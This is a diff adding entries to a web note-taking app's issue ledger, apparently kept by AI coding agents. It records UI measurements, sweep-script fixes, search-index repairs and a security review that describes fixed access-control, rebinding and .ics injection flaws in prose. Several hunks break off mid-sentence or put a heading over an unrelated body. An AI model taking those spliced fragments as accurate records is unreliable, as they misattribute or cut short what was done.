+**Timed 2026-09-20, and it is not a problem.** With 96 marks on screen (a
+3,763-word document written to fill the viewport with them), a *miss*, which
+is the expensive case because it walks every mark and calls
+`getClientRects()` on each, takes **0.207ms** in light and 0.212ms in dark;
+a hit takes 0.03ms. Linear in the marks, so the row's own 200-on-screen gate
+extrapolates to about 0.43ms, still inside a pointer event's budget. The
+assertion is in `findinghover.js`, so a change that makes it expensive fails
+there rather than being felt. No cache built. [prose-intelligence.md]
+
+### The three finding kinds are named in two places
+
+~~**The three finding kinds are named in two places**~~ **Held together by a
+lint, 2026-09-20.** `tests/test_ui_recipes.py` now reads both tables and
+fails if they differ, and checks that each kind has an underline rule in
+`docCmTheme`. The two failures it prevents are silent ones: a kind in
+`docFindingKind` alone draws its own squiggle and then falls into no group
+in the panel, which looks like a finding the panel has lost; a kind in
+`DOC_FINDING_GROUPS` alone draws a heading that can never have a member.
+Proved against a simulated drift rather than assumed.

+
+### The graph export's style attributes under the CSP
+
+Verified on the head, 2026-10-04: `graphInlineComputedStyle` writes presentation attributes, not a `style` attribute (its comment says why, `graphexportcsp.js`).
+
+**The graph export writes its styles with `setAttribute("style")`, which
+the CSP refuses element by element** (`frontend/js/graph.js:4016`,
+`graphInlineComputedStyle`). Measured 2026-09-26 (`cspprobe.js`, in the
+review): under `style-src 'self'` the attribute string is kept and
+serialises, so the exported picture is right, but the browser logs
+"Refused to apply inline style" once per element of the clone, hundreds of
+console errors for one export of a large graph, and any inline style the
+page itself needed on those nodes is dropped. The fix is one line's shape:
+`cloneEl.style.setProperty(prop, value)` per property writes the same
+attribute through the CSSOM, which the CSP allows. Not changed in the
+review because graph.js was another agent's file that night. [graph.md]
+
+### The options panel scrolls again at 1440x900
+
+~~**The options panel scrolls again at 1440x900.**~~ **Fixed, 2026-09-20.**
+It had grown to 655px of list in a 488px box (Show had gone from 143 to 211
+as three switches were added). Physics, Groups and Minimap are each a
+`details.settings-fold` now, closed by default and remembered; GRAPH_PLAN's
+"Decision made, 2026-09-20" carries why Physics joined the two on record.
+Measured with `scratchpad/ui-sweeps/graphoptfold.js`: 451 in 451 at 1440 and
+at 1024, nothing scrolling; 669 in 488 with all three open, scrolling inside
+the panel. At 390 the panel still scrolls (795 in 286, from 1071), which is
+the phone's own 286px cap, not the panel's size. [graph.md]
+
+### /graph/local has no Show switches
+
+~~**`/graph/local` has no Show switches.**~~ **Left, on the decision already
+on record, 2026-09-20.** Read again against the code: `graph_local`
+(`src/memorymap/api/routes_graph.py`) takes `depth` and `similarity` and
+nothing else, so the report is accurate. GRAPH_PLAN's "Decision made,
+2026-09-13" decided it deliberately, and the reason holds: "off means the
+thing is not on the map" is a statement about the picture of the notebook,
+and the local pane is a neighbourhood of one note. A board two hops from
+the note you are reading is part of that neighbourhood whatever the map's
+own switch says, and hiding it would leave a hole in a path rather than a
+smaller picture. Reopen this only if the owner asks for it; the switches
+would then be four query parameters plus the `?include_*` plumbing the
+top-level `/graph` already has. [graph.md]
+
+### GRAPH_PLAN Phase 5
+
+~~**GRAPH_PLAN Phase 5**~~ **triaged, 2026-09-20.** The backend fields,
+the cached `/graph/structure` and the payload gate were built on 2026-09-09
+(HISTORY, "Built, Phase 5 (backend)"); the two rows left open were re-read
+against the code rather than started, and GRAPH_PLAN's Phase 5 row now
+carries the finding. Positions on `/graph/views`: nothing to build as
+written, because views are per-device localStorage by a decision in
+`graph.js` itself and the positions that are notebook content (the pins)
+are already on the Entry. `?since=`: still no caller, since every `/graph`
+fetch is a `renderGraph()` behind a control or a tab activation, and a
+parameter nothing calls is the second shape CLAUDE.md section 6 names. The
+one real gap, on the plan's row now: a saved view does not restore where
+the unpinned notes sat, so a force view reopens as a fresh solution of the
+same forces. [graph.md]
+
+### The node popup redesign the owner names
+
+~~**The node popup redesign the owner names.**~~ **Measured and found
+built, 2026-09-20.** GRAPH_PLAN Phase 6 and the three evening rows are all
+three built; the measurements are in HISTORY under "Moved from the plans,
+2026-09-20". At 1440 and 1024 the panel is 448x357 with nine actions in one
+row, three groups, one filled (Open, read off the computed background), and
+scrollHeight 355 against clientHeight 355, so it does not scroll; at 390 it
+is a 362x468 sheet with the actions on three lines and neither the panel
+nor the page scrolling. With an 88-character title the header stays 48px
+tall, the title is one ellipsised line and the close button sits 14px in
+from the panel's top right corner at both widths, which is the row the
+owner reported. The action band is centred, the panel's full width, on the
+chip fill with one hairline above. Nothing was changed. The agent popup,
+which is what the owner's sentence names, is a different surface.
+Found, not fixed: the plan's target says the Bin should be ghost and it
+renders tonal like its eight neighbours, because a six-class rule paints
+every `.icon-only:not(.ghost)` button tonal on purpose. Left as it renders:
+one ghost button among eight tonal ones reads as disabled, and the gap of
+its own is what sets it apart. [graph.md]
+
+### graph.js's step 5 still fails: "clear trace (a route was drawn: false): NO CHANGE"
+
+~~**`graph.js`'s step 5 still fails**: "clear trace (a route was drawn:
+false): NO CHANGE".~~ **Fixed in the sweep, 2026-09-20.** The cause is the
+edge the trace step picks. It took the first edge on the canvas whose ends
+are not category groups, and the canvas draws edges `/graph/path` cannot
+route along: a similarity edge is not a connection anyone made, and an
+entity or document edge does not even have an integer id, so that route
+answers 422 and `runTrace` reports "the server didn't answer". Any of those
+leaves no route on screen, and the *next* step then reported "clear trace:
+NO CHANGE" as though the renderer had failed. The step now picks a `link`
+or a `thread`, says which pair it chose, and when no route comes back it
+fails there, in the app's own words, instead of one line later; clearing is
+only asked about once there is something to clear. Measured on an 80-note,
+150-link fixture: `5. trace between two notes (17 to 7, a link): redrew
+PASS`, `5. clear trace: redrew PASS`, `findings: 0`. And measured the other
+way, on the thirteen-note seed notebook, where the one link the seed makes
+runs from a note to a board and the Boards switch is off, so no note-to-note
+edge is on the map: one finding, "no link or thread edge on the map to
+trace along: this notebook has no connection between two notes, so Trace
+cannot be measured at all", which is the fact the old NO CHANGE was hiding.

+
+### `graph.js` interrupted by a confirm dialog
+
+Fixed in the sweep, 2026-10-04: the sweep's `control` names an open confirm dialog's text and records a finding instead of timing out for 30s.
+
+**`graph.js` can be interrupted by a confirm dialog and die**, seen once in
+three runs on the same fixture: after "legend filter off", `page.click
+("#graph-zoom-in")` timed out for 30 s against a `.modal-overlay
+.confirm-overlay` that intercepts pointer events, and the sweep exited on
+an unhandled TimeoutError with the eight steps after it unrun. Not chased:
+it did not recur on either of the other two runs and nothing in this batch
+touches it. Next step: have the sweep name the dialog's own text when one
+is up, which is the one piece of evidence that run did not capture.
+
+### scratchpad/ui-sweeps/selectfocus.js fails twice on a notebook with content
+
+~~**`scratchpad/ui-sweeps/selectfocus.js` fails twice on a notebook with
+content.**~~ **Fixed in the sweep, 2026-09-20.** Reproduced first, on a
+seeded notebook on this branch, exactly as reported. The app is right and
+the sweep was wrong: `renderGraphViews` (graph.js) sets
+`select.disabled = !views.length`, `enhanceSelect` mirrors that onto the
+opener (`opener.disabled = select.disabled`), and the sweep asserted that
+every visible enhanced select has a focusable opener. That is untrue of a
+control the app has deliberately switched off. It passed on an empty data
+dir because `renderGraphViews` only runs from the render path, which does
+not run when there is nothing to draw, so the picker was never switched off
+there and the assertion never met one. A disabled select is skipped now,
+counted and printed as skipped, and what is asserted about it instead is
+that its opener says disabled too, which is the real invariant. Two other
+things came out of it: `document.body.focus()` does nothing (body has no
+tabindex), so every "landed on" was measured against whatever the previous
+row left focused, which is where the misleading "landed on SELECT.ghost"
+came from; and the graph's options popover is now opened as well as its
+`<details>` menus, because two selects live in it and whether it was open
+was a remembered preference, so coverage was 13 selects on one run and 15
+on the next. Measured: populated notebook 15 checked, 1 skipped, all pass;
+empty notebook 16 checked, 0 skipped, all pass. [library-blockers.md]

+### INBOX 66: the lightbox the node panel opens is unreachable while the graph is fullscreen
+
+~~**INBOX 66: the lightbox the node panel opens is unreachable while the
+graph is fullscreen.**~~ **Already fixed, and now measured, 2026-09-20.**
+`.lightbox` carries `z-index: 1020` against the full-screen card's 1000
+(02-chat-graph.css, with INBOX 66 named in its comment). Measured with
+`scratchpad/ui-sweeps/graphfslightbox.js`, which is new: with the map in
+full screen the lightbox builds at 1440x900, computes `z-index: 1020`
+against the card's 1000, `document.elementFromPoint` at the centre of the
+screen lands inside it (`DIV.lightbox-column`) rather than on the card, and
+the close button has a box. The entry's own diagnosis was wrong in a way
+worth keeping written down: it blamed the Fullscreen API, and this app's
+full screen is a class with `position: fixed`, so nothing was ever in a top
+layer and the whole of it was stacking order.
+Found while measuring it, not fixed, and now INBOX 274: one Escape closes
+the lightbox *and* leaves full screen. [visual-c.md]

+### Review of the chat pass and the Library and Timeline pass (2026-09-27)
+
+A review record; every item in it was fixed or read sound.
+
+**Review of the chat pass (9c8b373 to 835447d), the Library and Timeline
+pass (2d42cd5 to d2bc42a) and 277ae31, 08cf260, 2026-09-27.** Line by line,
+then measured against the running app. Fixed, each with a test that fails
+without it: (1) a citation peek was out of the keyboard's reach (Enter,

+Tab from the filter lands on the switch). Read only: `budgetMs` (at

+
+### A pinned citation peek outlived a Tab past Open note
+
+Fixed 2026-10-04: Tab off either end of the peek closes it and puts the focus on its mark (capture-ask.js `openCitationPeek`; `tests/test_chat_transcript.py`). Driven in Chromium on a stand-in mark: Tab from Open note and Shift+Tab from the preview both close it with the focus on the mark, Tab from the preview to Open note keeps it. Not driven on a real answer's marks.
+
+**A pinned peek outlives a Tab past its Open note.** With the focus in
+the peek, Tab from Open note leaves it for the end of the page, and the
+peek stays pinned until Escape or a press elsewhere (read in
+`openCitationPeek`'s focusout, not measured).

+### The chat welcome's blurb wrapping at 1280

+**A skill's `verify` block: offered, checkable and scoped. Built
+2026-09-20.** The editor has a "Check it worked" fold (tool, predicate,
+number, and "only the notes with no tags"), `save_skill` has the same four
+as flat arguments, `count_notes` takes `untagged` and `since` out of the
+same helper `list_notes` uses, a block may carry arguments (CHAT_PLAN
+decision 10g) and "Auto-tag my notes" declares
+`count_notes(untagged) max 0`. The two audit skills that had no check now
+declare `count_notes` and verify `unchanged`. Found on the way: a skill
+saved from Settings lost its block on the wire, because `SkillItem` did not
+declare the field. Measured by `scratchpad/ui-sweeps/skillverify.js`, 12 of

+### Decision 7's other half: the quick-sketch pad still has its own copy of the tool code
+
+~~**Decision 7's other half: the quick-sketch pad still has its own copy of
+the tool code.**~~ Done 2026-09-20. Decided in WHITEBOARD_PLAN decision 7
+first (one table, two renderers; the pad stays a canvas), then built:
+`HIGHLIGHTER_STYLE` plus `highlighterWidth()` and `highlighterBlend()` in
+`app.js` (it is loaded first; `whiteboard.js` is lazy), read by the pad's
+`sketchApplyBrush` and by whiteboard.js's live-draw, mouseup and render
+paths. Measured light, same ink, two crossing strokes: the pad was paper
+255.0, one pass 176.0, two passes 176.0 (the ink's own luminance, so no
+translucency at all) and is now 255.0 / 223.7 / 199.2, against the board's
+252.9 / 222.5 / 198.3. Two bugs the measurement found and fixed: picking a
+colour swatch reset the tool to the pen, so the pad's highlighter could not
+be reached at all after choosing an ink, and the board's saved strokes lost
+their square cap on every render (round on both, square now).
+`scratchpad/ui-sweeps/sketchparity.js`, 10/10 light and dark. Merged with
+INBOX 265's own fix to the same tool (the stroke is painted whole on its own
+layer and composited once, which is a better painter than the polyline this
+agent wrote, so it is the one that survived) and one bug found in it while
+merging: the layer scaled points that `sketchPointer` had already put in
+canvas pixels, so every highlighter stroke landed 15px left and 9px up of
+the pointer in the middle of the pad. Both sweeps are green on the merge,
+`sketchhighlighter.js` (INBOX 265's, evenness and self-crossing: 0.4
+everywhere, spread 0, junction 0.4) and `sketchparity.js` (this one).
+
+### Multiply is worth 3 luminance units on a dark board and 20 on a light one
+
+~~**Multiply is worth 3 luminance units on a dark board and 20 on a light
+one.**~~ Done 2026-09-20, as recommended: `multiply` over a light backdrop,
+`screen` over a dark one, written into decision 7 as a rule about the
+backdrop rather than about the theme's name. Measured dark after: paper
+26.4, one pass 85.9, two passes 128.4, so the second pass is worth 42.5
+luminance units where multiply bought 1.6. The re-application is a
+`MutationObserver` on `<html>`'s `data-mode` in whiteboard.js
+(`wbRefreshHighlighterBlend`), which catches the toggle, the presets and the
+OS media query alike; measured flipping both ways on an open board with no
+re-render between. The export needs nothing: it paints the container's own
+background colour into the SVG, so the blend and its backdrop travel
+together.
+
+### A sketch's handles scale with the zoom; a card's do not
+
+~~**A sketch's handles scale with the zoom; a card's do not.**~~ Closed
+2026-09-20, and the size half was **already built and this entry was
+stale**: `--wb-inv-zoom` (published once per zoom frame by
+`wbSyncGridToTransform`) and the grip rules in 07-whiteboard-misc.css hold
+every sketch and link grip at a constant size, measured 10px at 0.5x, 1x and
+2x, the rotate grip 12px and its stem 28px. The zoom frame was measured
+rather than guessed (`panlag.js`, 5/5): one transform write per event and
+the grid custom properties once per frame, so the CSS route adds nothing to
+it and no re-render was needed. Three real failures in
+`scratchpad/ui-sweeps/wbhandlezoom.js` were found behind it and fixed: a
+link's bend grip was 24px at 2x (the one grip missing from that CSS block),
+and the sketch move and sketch resize drags divided `event.dx` by the zoom a
+second time, which the link endpoint handle's own comment had already warned
+about, so a shape at 2x moved 30px for a 60px drag and its east grip widened
+it by 30px. 17/17 now.
+
+### The context bar at phone width, and the plan's half-answered question
+
+~~**The context bar at phone width, and the plan's half-answered
+question.**~~ Answered 2026-09-20: **it pins**, and the answer is in
+WHITEBOARD_PLAN section 7 with the table that decided it. Both placements
+were built and measured at 390x844 with five kinds high and low on the
+board, ten selections each way (`scratchpad/ui-sweeps/wbcontextphone.js`,
+5/5 at 390x844 and 1440x900). What the earlier reading had not measured was
+the bar against the rest of the chrome: floating never covered the item
+(0 of 10) but sat on the tool rail twice (7759px2 and 1122px2) and left the
+canvas once, and a band over the tools is worse than a band over the item.
+Pinned: one top for all ten, all inside, nothing on the rail; its cost is
+two of ten selections under the band (an image entirely, 8640px2, and a
+line, 3519px2). Desktop still floats, 0.7% to 2.6% of the canvas, nothing
+covered. Found with it: the bar's `top` had never been clamped to the canvas
+the way its `left` was, so a selection low on the board put it 843px to
+1183px down an 844px window.
+
+### #wb-topbar is 13 controls at 1440 against the dock grammar's ceiling of seven
+
+~~**`#wb-topbar` is 13 controls at 1440** against the dock grammar's ceiling
+of seven.~~ **Done 2026-09-21** with the phone bar's overflow, in one pass:
+11 at 1440, 1024 and 820 with **6 beside the five menus** (Phase 8's menu-bar
+exception is the toggles only), 7 at 390 and 320 with **0px of overflow**
+where the bar ran 5px and 75px past its own content box, and every control at
+or above the 44px floor. Rename and New board went into the Board menu; Full
+screen and Arrange leave the bar below 600, both being reachable elsewhere.
+Found and fixed while gating it: all five menus were a `role="menu"` with no
+`role="menuitem"` in them and no arrow keys. Before and after in
+[HISTORY.md](../HISTORY.md), "Moved from the plans, 2026-09-21"; gated by
+`scratchpad/ui-sweeps/wbtopbar.js`, now in `scripts/gate.sh`'s sweep list.

+### The old export popover's CSS still names it in grouped selectors

+~~**The old export popover's CSS still names it in grouped selectors.**~~
+Swept 2026-09-20: fifteen mentions of `.wb-export-menu` in
+`08-consistency.css` are none, the `[data-glass="off"]` entry in
+`03-dashboard-widgets.css` is gone, and two more the ledger had not counted
+went with them (the zero-margin list and the max-height cap in
+`07-whiteboard-misc.css`). Four were whole rules with nothing else in them,
+including the bare-button rule that styled its rows. One thing had grown on
+the dead name and is re-anchored rather than deleted:
+`tests/test_region_read.py` found the popover shell by splitting the
+stylesheet on `".wb-export-menu,"`, so it was reading the region popover's
+own group through a class that stopped existing. It splits on
+`".wb-board-menu,"` now. `test_ui_recipes.py`, `test_style_scale.py`,
+`test_css_braces.py`, `test_ui_signatures.py` and `test_region_read.py`
+green (93 tests), the board menus measured unchanged afterwards

+dialog still opens inside the window (`wbinbox12.js` 6/6).

+Phases 2 and 3 rather than by repairs, and measured before closing
+(`scratchpad/ui-sweeps/wbinbox12.js`, 6/6 at 1440x900 and 390x844): the
+export popover is not built any more (the export is a dialog, opening at
+480x393 inside 1440x900 and 342x417 inside 390x844), align centres and even
+gaps are both on the context bar with all twelve arrange controls and the
+two z-order ones, and the panel that drew icons through labels went with the
+properties drawer, measured at 0px2 of icon-over-text across 24 buttons on
+the bar and in the top bar's Arrange menu. `wbarrange.js` is stale: it asks
+for `#wb-prop-multi-row`, which Phase 2 removed, and prints
+`{"missing": true}` rather than failing. [inbox.md]

+### A colour swatch is 1rem and never grows for a finger
+
+~~**A colour swatch is 1rem and never grows for a finger.**~~ Done
+2026-09-20. Below 820 the paint steps to 2rem and the target goes the rest
+of the way with a transparent `::before`, the pattern DESIGN.md's "Hit
+targets" section already uses for the painted switches. Two steps rather
+than one because seven dots at 44px is 308px of the 311 the bar has at 390
+and they would have to touch: measured at 390, the paint is 32x32 and the
+target 33x41 (the sweep walks out from the centre with `elementFromPoint`
+and undercounts a 44px box by about three pixels), 37x46 on Large text, and
+no two dots share a pixel at any setting. The bar at 390 is five rows where
+it was four, which is the cost of the step and is what the plan asked to be
+re-measured. Two things found with it: the dots ran 12px past the bar at
+Large text with Spacious density, because a `.wb-tool-section` is
+`flex: 1 0 auto` with `min-width: auto` and so refused to be narrower than
+its widest row (it wraps to two rows of four and three now, 282 in 284),
+and `sketchbar.js` never looked at 390 or at the swatches at all: it takes
+both now, with the bar's one-row rule kept above 600 only.

+overflow list at all. MODERNISATION_AUDIT Brief 2's phone rule is what
+fixed it (`02-chat-graph.css`, the `max-width: 600px` block): the category
+list is `flex-wrap: nowrap` with `overflow-x: auto` there, one scrolling
+row with no head, so it cannot grow downward however many categories there
+are. What the sweep still reports on that list is `73>66`, seven pixels,

+
+~~**A filled button is 2px shorter than every tonal button beside it, app
+wide.**~~ **Measured and closed, 2026-09-21, and the proposed fix was worse
+than the defect.** The cause was real: `button` carries `border: none`
+(01-forms-settings.css) and `.ghost` a 1px edge, so 40px against 42px under
+`box-sizing: border-box`. "App wide" was not: walking all 312 visible
+buttons across seven tabs at 1440 found **70 button rows and exactly one
+mixed**, because DESIGN.md's "Control height" section has been pinning rows
+with `--control-h` for seven rounds. The one-line fix was then measured by
+giving every borderless button a 1px transparent edge in the running app and
+re-walking: **18 of 312 buttons moved, and the moves were worse than the
+defect.** `.linklike`, which is text rather than a box, went 18 to 20px;
+five graph toolbar buttons went 36 to 36.5px, putting a half pixel where
+there had been none; a reminders select opener went 36 to 44px. So the base
+rule stands, the one genuinely mixed row is fixed (`.name-nudge`: "Add your
+name" at 29.2px from its own padding beside a 28px `.ghost.small` X, both
+pinned to 1.75rem), and the class of bug is now held by a probe rather than
+by the next report: `scratchpad/ui-sweeps/btnrows.js`, in the gate's sweep
+list, 312 buttons, 70 rows, 0 mixed, and it finds the `.name-nudge` row

+2026-09-23**, and its first run found a real fault: every Settings section,
+every visible '?', a trusted press, the panel measured inside the window
+and closed by a second press, at 1440 and 390. 81 popovers, 1 finding: at
+390 the skill form's "Tools this skill may use" '?' could not be pressed,
+because the fold's summary was pinned to 44px while its wrapped sentence
+made the head inside it 100px tall. The summary's height is a floor now and
+the '?' keeps the row's end (01-forms-settings.css); re-run, 82 popovers, 0
+findings. [help-popovers.md]

+### "Not one of the seven tabs carries a `data-help-for` popover"
+
+Stale, measured 2026-10-04 at 1440: the tabs carry ten (notes 2, chat 2, graph 1, documents 1, library 4), beside 47 in Settings and 6 in dialogs.
+
+**Not one of the seven tabs carries a `data-help-for` popover.** All 41 are
+in the Settings modal or a dialog; the Guide sends the tab's control labels
+instead, and a tab that grows a popover is picked up with no further change.

+### The learning loop's Settings section (I9's frontend) is not built
+
+~~**The learning loop's Settings section (I9's frontend) is not built.**~~
+**Stale, checked 2026-09-23**: Settings, What it learned (settings.js, "What
+it learned (WORLD_CLASS_PLAN I9)") reads every route below, built
+2026-09-19, and its bulk actions landed 2026-09-23. The original row: The
+backend is complete: `GET /learned?kind=&q=&limit=&offset=` returns
+`{items, total}` with `X-Total-Count`, `GET|PATCH|DELETE /learned/{id}`,
+`POST /learned/{id}/reset`, `GET|PUT /learned/switches`, `DELETE /learned`
+(body `{confirm: true}`), `GET /learned/export`. Every row carries `span` as
+`[start, end]` into `entries.content`, so "open the note scrolled to the
+sentence" needs no further backend work. [learning-loop.md]
+
+### Security review of the backend batch (2026-09-26)
+
+A review record; the three fixes carry their tests.
+
+**Security review of the backend batch (2442101..3b8cdc5), 2026-09-26.**
+Line by line over src/ for the six asks. Fixed, each with a test that
+failed first: (1) `vault.key()` read an empty grant set as everyone's, and
+the app loads the key before granting (`unlock`), and clears every grant
+before granting the new session (`change-password`, `rotate-vault-key`),
+so a request from a session that never gave the password, timed into
+either gap beside a sync route, read private notes; inside a request the
+key is now a granted session's or nobody's, and only a key loaded outside
+any request (a script, a test's direct call) is still every request's
+until the first grant (`_process_key`). (2) The Host check keyed only on
+what the launcher said it bound (`set_current`), so `uvicorn --host
+0.0.0.0`, serve.sh and a container ran with no rebinding guard; it also
+keys on the address the request arrived at (`scope["server"]`,
+`netbind.arrived_on_loopback`), and off loopback a request with no Host
+is refused. (3) The .ics escaper is held to the letter and a title
+carrying CRLF and event lines makes one event. Read and found sound: the
+audit hook (never raises, `BaseException` caught, no I/O under its lock,
+no lock re-entry; measured 0.07us per `open`, +3us per lookup, +7us per
+connect), `/auth/lan-access` (password and the unlock throttle to turn on,
+an empty password not counted as a guess, `allow_lan` only a literal
+True, `PUT /preferences` refused by test), `/events/undo` (behind the
+lock, the person's own actor refused, `is_private` never restored, dry
+run by default), the receipt (behind the lock), `.ics` (private notes'
+words absent, folding at octets, UID stable, no workspace scoping to
+leak across since reminders have none).
+
+### No FTS index rebuild job
+
+~~**No FTS index rebuild job.**~~ **Done 2026-09-23**, in the job that
+already existed rather than a new kind: `model_manager._run_reindex`, behind
+Settings' "Rebuild search index", now rebuilds the keyword index first (the
+fast half, and the one search answers from while vectors are redone), and
+`/search/stats` carries `last_rebuild: {at, rows}` beside the live `index`
+counts so a drift reads as two numbers. No route rebuilds inline.
+`tests/test_models_api.py::test_a_rebuild_also_rebuilds_the_keyword_index`
+drifts the index both ways (a note's row gone, a ghost row added) and finds
+it whole after. The Settings copy says both halves now.
+[brief11-retrieval-engine.md]
+
+### A bulk write can leave the index stale
+
+~~**A bulk write can leave the index stale.**~~ **Done 2026-09-23**, and
+it was worse than stale. Grepped over the six indexed models: two bulk
+paths, both deletes. Emptying the bin (`manager._hard_delete`) left every
+purged note's row behind flagged `deleted`, and deleting a space
+(`routes_spaces.delete_space`) left its notes, documents and reminders
+findable from All spaces. `search_index.forget(session, model, ids)` is the
+bulk half of `touch`, both paths call it, and a lint in
+`tests/test_search_engine.py` fails any file that issues a statement-level
+delete against an indexed model without it (three tests failed before the
+fix, pass after). The two bulk `update`s left (`Reminder.entry_id`,
+`Entry.parent_id` on a purge) touch no indexed column.
+[brief11-retrieval-engine.md]
+
+### The vector matrix forgets by zeroing a row
+
+~~**The vector matrix forgets by zeroing a row.**~~ **Done 2026-09-23**,
+and the row's "are never returned" was false: a zeroed row scores 0, which
+outranks every negative cosine, so `top_k` over a few live vectors pointing
+away from the query returned id -1 (a test reproduced it before the fix).
+Dead rows are counted on the matrix, skipped by `top_k` with the partition
+widened by their number, and compacted once they are a quarter of the array
+(floor 8), one O(n) copy amortised over n/4 forgets. `/search/stats`'s
+`vectors` counts live rows only. `tests/test_search_engine.py`, three new.
+[brief11-retrieval-engine.md]
+
+### has: only knows file
+
+~~**`has:` only knows `file`.**~~ **Done 2026-09-23**, on the sources this
+row named: `image` is an image attachment (mime, or the name for a row with
+none) or a `![` picture in the text of any kind; `link` is an `EntryLink`
+either way round; `reminder` is a `Reminder.entry_id`, plus the reminders
+themselves. One query per word over the candidates (`engine._has_ids`), no
+join on save; a word outside `HAS_WORDS` still matches nothing.
+`tests/test_search_engine.py`, four new, three failing before.
+[brief11-retrieval-engine.md]
+
+### The Timeline and Dashboard activity strips
+
+~~**The Timeline and Dashboard activity strips.**~~ **The Dashboard half
+built 2026-09-23**: a Recent activity widget, opt-in (`DASH_OPT_IN`, so
+existing dashboards do not grow a widget), reading `/events?tail=8` once
+and `?since=<cursor>` on every later render, with no timer (an idle tab
+polling a log is the cost INBOX 266 (7) removed). Actor and action per row,
+a folded run as one line with its count. The feed grew `tail` and a comma
+list for `entity_type` (`tests/test_events.py`, two new);
+`scratchpad/ui-sweeps/oi-activity.js`, 6 of 6. The Timeline half is left
+on purpose: see WORLD_CLASS_PLAN's dead-routes triage. [brief7-event-log.md]
+
+### filing_state = "auto" is set on the two create paths only
+
+~~**`filing_state = "auto"` is set on the two create paths only.**~~
+**Done 2026-09-23.** Two paths, not one: adding context and re-evaluating
+both re-file with the AI, and both now set `manager.AUTO_FILED` when
+`janitor.is_ai_method` holds (a keyword fallback still leaves `done`).
+`tests/test_harness_verifier.py`, three new, one of which moves the note by
+hand afterwards and finds the `correction` row. [brief-13-harness.md]
+
+### The Reminders tab still reads one page
+
+~~**The Reminders tab still reads one page.**~~ **Stale, checked
+2026-09-23**: `loadReminders` and `clearDoneReminders` both read
+`apiPagedList("/reminders", 200)` (app.js, the comment "Every reminder, not
+the first page"), the palette's preload does the same, and so does the
+dashboard's reminder read. The original row: `loadReminders` draws the tab
+from `GET /reminders`, ordered `due_at` ascending, so the first page is the
+oldest rows, ticked-off ones included: a notebook whose oldest two hundred
+reminders are done would push everything upcoming off the page. Two honest
+options: page in the UI (the Library's own pager is the recipe,
+`library-docs-pagination` in `index.html`, `libraryDocsPageSize` in
+`library.js`) or read to the end with `apiPagedList("/reminders", 200)` as
+the other three surfaces do. The second is four lines and loses nothing.
+`clearDoneReminders` is fixed exactly by reading to the end; `openPalette`
+preloads `paletteReminders` first page only, so a reminder past it is
+unfindable in the palette. [list-paging.md]
+
+### Other first-page-only callers, one call each
+
+~~**Other first-page-only callers, one call each.**~~ **Stale, checked
+2026-09-23**: `loadCaptureDocuments`, `renderAttachToDocument` and
+`notePickerRows` all read through `apiPagedList`; the one first-page read
+left, `renderDocumentsWidget`, wants the six newest of a list the route
+already orders by `updated_at` descending, so page one is the right answer
+at any size. The original row: `app.js`
+`loadCaptureDocuments` and `renderAttachToDocument`, `app.js`
+`notePickerRows` for its `documents` and `images` sources, and
+`dashboard.js` `renderDocumentsWidget` plus its three reminder reads. None
+is wrong at 200 documents and 200 uploads; all are wrong at some size.
+`apiPagedList(path, pageSize, options)` in `documents.js` is already global.
+[list-paging.md]
+
+### POST /learned/bulk
+
+~~**`POST /learned/bulk`**~~ **Done 2026-09-23**, route and caller
+together: `{ids, action}` with `delete` (each writes its `delete_fact`
+correction, as the single route does) or `reset` (edited rows only), one
+transaction, unknown ids named in `missing`. Settings, What it learned has a
+box per row and the DESIGN.md selection bar (`#learned-selectbar`), Reset
+shown only over a selection with an edited row.
+`tests/test_learned_spec.py`, three new; `oi-learnedbulk.js`, 7 of 7 (two
+ticked, "2 selected", sticky, one request for both, 4 rows to 2).
+[learning-loop.md]
+
+### `notessubtabs.js` counting the hidden native selects
+
+Fixed in the sweep, 2026-10-04: `select.select-native-hidden` is no control.
+
+**`notessubtabs.js` counts the hidden native selects.** `#entry-template`
+24x1 and `#entry-category` 1x40 are invisible by construction (absolute,
+clipped) and no sweep should count them as controls, which is why its height
+set reads `[1, 36, 40, 176]` rather than `[36, 40, 176]`. Cosmetic, in the
+sweep. [notes-subtabs.md]
+
+### "`app.js` is 1.93 MB of source"
+
+Stale, measured 2026-10-04: `app.js` is 120 KB, the head of 25 files (CLAUDE.md section 7); the gzip bound is per piece.
+
+**`frontend/js/app.js` is 1.93 MB of source.** The gzip smoke bound in
+`tests/test_static_compression.py` was raised to 700 KB on 2026-09-13;
+splitting the file is still the thing that number is really measuring, and
+it is above a single agent's remit. [chat-popup-agent.md]
+
+### A changelog edit breaking `test_docs_site.py`
+
+Done: `tests/test_docs_site.py` is in `scripts/gate.sh`'s lint set, so the gate catches an unmirrored changelog.
+
+**A changelog edit breaks a test two directories away.** `CHANGELOG.md` is
+mirrored into `docs/CHANGELOG.md` and `tests/test_docs_site.py` compares
+them byte for byte, so any changelog line needs
+`cp CHANGELOG.md docs/CHANGELOG.md` in the same commit. Not in the lint set.
+[responsive.md]
+
+### The feminine sash sways on an inner <g>
+
+~~**The feminine sash sways on an inner `<g>`**~~ **Fixed, 2026-09-26.**
+The sway is on the layer root (`.atl-layer-lower`, origin 27px 62px, the
+hip) as the tail's swish is. `scratchpad/ui-sweeps/atlaswalk.js` (the walk
+held for 4s, per look): paints 176.5/s feminine against 119/s masculine
+before, 117.5/s against 119/s after; the hip end moves 0.3px across the
+sway and the free end 6.8px (`sashpivot.js`, in the review's scratchpad).
+Main-thread ms/s was too noisy between runs to quote (the sandbox was
+loaded by four agents; 168 to 270 ms/s for the same masculine walk).
+
+### `menus.js` timing out at its last step
+
+Verified on the head, 2026-10-04: it no longer hangs. `WIDTHS=1440 node scratchpad/ui-sweeps/menus.js` ran to the end inside five minutes, 75 menus opened, 0 page errors, 3 findings (the Chat sort select is 266px for 122px of content; "documents: could not open one" and "board/map: none of kind map" are the empty fixture notebook).
+
+**`scratchpad/ui-sweeps/menus.js` times out at its last step**, clicking a
+`.select-opener` on Chat after the model panel has been opened and
+dismissed. It times out identically with Reduce motion on, so it is not the
+menu animation. Nobody has looked at why. [responsive.md, visual-c.md]
+
+### The note edit form's strip is a clone (colour options doubled)
+
+Measured in Chromium, 2026-10-04, `scratchpad/ui-sweeps/editstrip.js`: the collapse state follows the clone (class and button `aria-pressed` agree with the capture strip, collapsed and open, one tools group); the highlight and text colour selects did not, 17 options on the clone against 9 on the source, because the clone kept the source's options and `wireMarkdownToolbar` added them again. Fixed (cleared first, 9 and 9), `tests/test_note_edit_strip_options.py`.
+
+**The note edit form's strip is a clone taken at open time**, so anything
+stateful in the capture strip is cloned with its state. The Preview button
+was fixed; the collapse and expand state and the highlight colour pickers
+have not been checked for the same shape. [notes-subtabs.md]
+
